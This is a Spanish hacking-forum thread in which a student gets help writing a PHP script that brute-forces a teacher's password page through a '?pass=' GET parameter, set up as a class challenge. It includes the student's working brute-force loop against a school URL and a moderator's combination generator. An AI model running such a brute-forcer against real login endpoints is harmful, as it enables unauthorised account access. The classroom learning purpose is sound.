Resultados 1 al 10 de 10

Ayuda con practica de clase?bruteforce en php

  1. #1 Ayuda con practica de clase?bruteforce en php 
    Iniciado
    Fecha de ingreso
    Dec 2011
    Mensajes
    4
    Descargas
    0
    Uploads
    0
    Hola,
    estudio php es mi primer curso, y el profe nos a planteado un "reto".
    Tenemos que programar en php un script para atacar por fuerza bruta una pagina que él a puesto en el instituto para tal fin. El pass se añade a la direccion http añadiendo al final de la direccion ?pass=xxxx donde x es cada letra del pass. Por "ingenieria social" he averiguado que tiene 3 letras, ya que según a dicho él mismo, el año pasado tenia 4 y tardaba bastante.....

    He encontrado un script que me genera conmbinaciones de letras (como es una practica no necesito numeros ni simbolos) aunque no se adapta bien tampoco a mis necesidades ya que el profe quiere que sea de longuitud n siendo n la longitud del pass a encontrar, y yo lo tengo porque defino en una variable general el pass... en fin estoy perdido...
    El tema es que es un reto para hacer antes de navidad como fin de trimestre, y es algo que aun no hemos visto, para que vayamos investigando.
    como hago para que en vez de un echo o un print, se cargue el resultado de la variable en la barra de direcciones y pruebe cada combinacion?
    Alguien me echa una mano porfa? un rayito de luz??
    Estaria tremendamente agradecido.
    Citar  
     

  2. #2  
    Avanzado
    Fecha de ingreso
    Oct 2010
    Mensajes
    401
    Descargas
    24
    Uploads
    0
    2 opciones:

    1- Programas en sockets de red y creas tu propia peticion http.

    2- Utilizas una libreria externas (CURL) para la peticion http, esta opcion es menos compleja, lo cual no se si te dejara tu profesor xd.

    Que tienes que aprender:

    1- php

    2- Como maneja el protocolo http sus tipos de peticiones, todos sus campos....

    3- Si no puedes utilizar librerias externas, tendras que aprender a programar sockets de red en PHP.
    René Pérez Joglar: Pa' tener a un listo que no dice nada prefiero a un idiota que hable mucho.
    Citar  
     

  3. #3  
    Moderador Global Avatar de hystd
    Fecha de ingreso
    Jul 2005
    Ubicación
    1, 11, 21, 1211...
    Mensajes
    1.596
    Descargas
    58
    Uploads
    0
    No podría haberlo explicado mejor que chewarrior!

    Añadir simplemente una opción más... puedes hacer GET en un formulario html, donde dicho formulario apunta a la página php de tu profesor. Más simple imposible.

    Un saludo.
    El optimista tiene ideas, el pesimista... excusas

    Citar  
     

  4. #4  
    Moderador HH
    Fecha de ingreso
    Apr 2010
    Mensajes
    1.052
    Descargas
    7
    Uploads
    0
    Brutus AET2 creo que implementa fuerza bruta por GET ^^ De todas formas Chewarrior lo ha dejado bien claro jeje
    • Taller de programación HackHispano: http://tallerdeprogramacion.es
    • Wargame HackHispano: [PRÓXIMAMENTE]
    • Normas del foro: http://foro.hackhispano.com/announcement.php?f=2
    Citar  
     

  5. #5  
    Moderador Global Avatar de hystd
    Fecha de ingreso
    Jul 2005
    Ubicación
    1, 11, 21, 1211...
    Mensajes
    1.596
    Descargas
    58
    Uploads
    0
    Programas para hacer peticiones, hay miles, la cuestión es que, por fines didácticos supongo, se tiene que picar un script en php.

    Un saludo.
    El optimista tiene ideas, el pesimista... excusas

    Citar  
     

  6. #6  
    Iniciado
    Fecha de ingreso
    Dec 2011
    Mensajes
    4
    Descargas
    0
    Uploads
    0
    gracias por las rapidas respuestas!!
    conozco algun que otro programa pero si, por fines didacticos el profe quiere que lo hagamos picando..., y creo que va enfocado como dice hystd
    con un get apuntando a la pagina.
    Voy a ver si lo saco a partir de esto y si tengo algun problema ya os digo... que seguramente me atranque...
    Gracias!
    Citar  
     

  7. #7  
    Iniciado
    Fecha de ingreso
    Dec 2011
    Mensajes
    4
    Descargas
    0
    Uploads
    0
    Seria posible hacer algo asi para que empiece en la a por ejemplo y acabe en n siendo n la longitud de la clave a descifrar. que empiece con las de 1 caracter, luego 2, 3, hasta n,.....a, aa, aaa y asi...hasta que de con la correcta. Os dejo el codigo que tengo que es para 3 caracteres, porque sé que tiene 3, pero deberia ser n.
    pongo mal la direccion a proposito porque no me deja postear links.
    Gracias.!!

    <?php
    set_time_limit(0);
    $i=0;
    include('parse.php');
    $list1= range('a','z');
    $list2 = range('A','Z');
    $list3 = range ('1','9');
    $list=array_merge($list2,$list1,$list3);

    foreach($list as $i2)
    {foreach($list as $i3)
    {foreach($list as $i4)
    {
    $i++;
    $clave=$i2.$i3.$i4;
    echo "$clave <br>";
    echo "http/ieslosmanantialescom/clave/?pass=$clave <br>";
    $html = file_get_html('http/ieslosmanantialescom/clave/?pass='.$clave);
    foreach($html->find('h1') as $element){
    $texto = $element->innertext;}
    $h=explode(" ",$texto);
    if($i%1000==0)
    sleep(30);

    If($h[1]=='No')
    {}
    else
    {
    echo "eureca!!! La clave es: $clave";
    die;
    }
    }
    }
    }
    ?>
    Citar  
     

  8. #8  
    Moderador Global Avatar de hystd
    Fecha de ingreso
    Jul 2005
    Ubicación
    1, 11, 21, 1211...
    Mensajes
    1.596
    Descargas
    58
    Uploads
    0
    Por favor, la próxima vez, utiliza las etiquetas [ CODE] [ /CODE].

    Lo que buscas es hacer variaciones con repetición de M elementos tomados de N en N, donde N varía de K a L, siendo K y L las longitudes mínimas y máximas respectivamente de la clave que quieres generar. Según tu primer post, K valdría 1.

    Esto se puede hacer de muchas maneras, pero lo básico es saber que puedes utilizar tanto iteración como recursión.

    Te pondré una solución bastante sencilla y fácil de entender:

    Código:
    function variacionesKL($lista, $ini, $fin){
       //calcula las variaciones de longitud $ini hasta $fin
       $cont = $ini;
       while($cont <= $fin){
           variaciones($lista, $cont);
           $cont++;
       }
    }
    y ahora sólo queda implementar el código de la función variaciones...

    Código:
    function variaciones($lista, $longitud){
       //Calcula las variaciones de longitud $longitud
       $i = 0;                                             //Cuidadin con los desbordamientos
       $numVariaciones = pow(count($lista), $longitud) - 1;  //Cuidadin con los desbordamientos
       $numElementos = count($lista);
       while ($i <= $numVariaciones){
          $clave = "";
          $cont = $longitud - 1;
          while ($cont >= 0){
            $aux = $lista[(($i / (pow($numElementos, $cont))) % $numElementos) + 1];
            $clave .= $aux;
            $cont--;
          }
          // Aqui tratas $clave, enviandola por GET en tu caso al sitio en cuestión.
          $i++;
       }
    }
    De esta forma, observa cómo sustituyes elegantemente los bucles anidados por unas bonitas divisiones y módulos. (ver linea en negrita)

    Con esta solución sólo tendrás que llamar a variacionesKL(...) pasándole el array o cadena con los elementos y las longitudes inicial = 1, y final = 3, o las que quieras.

    PD1: No he probado el código, y lo he ido escribiendo sobre la marcha, por lo que si ves algún fallo, te animo a que lo corrijas y lo notifiques para editarlo. Así conseguiremos que los que vayan directamente a copiar el código no sufran tanto...

    PD2: Normalmente no solemos dar la solución a los ejercicios que os mandan en vuestros estudios, pero en este caso me pareció interesante mostrar cómo convertir bucles anidados en simples operaciones como división y módulo.

    Un saludo.
    Última edición por hystd; 16-12-2011 a las 02:04
    El optimista tiene ideas, el pesimista... excusas

    Citar  
     

  9. #9  
    Moderador HH
    Fecha de ingreso
    Apr 2010
    Mensajes
    1.052
    Descargas
    7
    Uploads
    0
    Vives por El Pinillo? lo digo por IES Los Manantiales... suelo pasar por ahí...
    • Taller de programación HackHispano: http://tallerdeprogramacion.es
    • Wargame HackHispano: [PRÓXIMAMENTE]
    • Normas del foro: http://foro.hackhispano.com/announcement.php?f=2
    Citar  
     

  10. #10  
    Iniciado
    Fecha de ingreso
    Dec 2011
    Mensajes
    4
    Descargas
    0
    Uploads
    0
    nop, vivo por playamar-la colina. que casualidad, paisanos ....

    gracias por la ayuda, ahi sigo aunque hemos terminado las clases y voy a coger unos dias de descanso, ire subiendo los avances.

    saludos.
    Citar  
     

Temas similares

  1. Vector dentro de un struct en una clase en c++
    Por herc en el foro PROGRAMACION DESKTOP
    Respuestas: 3
    Último mensaje: 25-04-2012, 16:08
  2. Respuestas: 0
    Último mensaje: 24-08-2010, 14:11
  3. Respuestas: 0
    Último mensaje: 24-01-2004, 11:17
  4. desproteger wma de clase 1
    Por twilight en el foro OFF-TOPIC
    Respuestas: 0
    Último mensaje: 22-10-2003, 13:51
  5. Radmin bruteForce password cracker
    Por _ToMY_ en el foro INGENIERIA INVERSA
    Respuestas: 0
    Último mensaje: 04-06-2003, 04:51

Marcadores

Marcadores